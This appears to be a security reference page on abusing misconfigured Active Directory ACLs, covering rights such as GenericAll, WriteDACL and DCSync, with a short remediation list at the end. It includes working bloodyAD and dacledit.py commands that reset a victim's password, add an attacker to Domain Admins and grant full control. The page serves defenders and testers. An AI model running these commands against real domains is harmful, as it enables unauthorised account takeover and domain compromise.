ACL Abuse
MITRE: T1222.001
How it works
Active Directory objects have Access Control Lists (ACLs) that define who can do what. Misconfigured ACLs let low-privilege users perform privileged operations — reset passwords, modify group membership, take ownership, or grant themselves full control.
Rights and their impact
GenericAll
Full control over the object. Can reset password, add to groups, set SPN (for Kerberoasting), modify attributes.
# Reset target user password
bloodyAD -u attacker -p 'Pass' -d corp.local --host 10.0.0.1 \
set password victim 'NewPass123!'
# Add attacker to Domain Admins
bloodyAD -u attacker -p 'Pass' -d corp.local --host 10.0.0.1 \
add groupMember 'Domain Admins' attacker
WriteDACL
Modify the object's ACL — grant yourself or another principal GenericAll.
dacledit.py -action write -rights FullControl \
-principal attacker -target victim \
'corp.local/attacker:Pass'
WriteOwner
Take ownership of the object, then grant yourself WriteDACL.
ForceChangePassword
Reset the account's password without knowing the current one.
DCSync (DS-Replication-Get-Changes-All)
Replicate directory contents including all password hashes.
Detection with morok
Remediation
- Audit ACLs with
Get-Aclor BloodHound regularly - Remove unnecessary delegated rights
- Enable AdminSDHolder protection for privileged accounts
- Use AD Tiered Administration model — isolate privileged accounts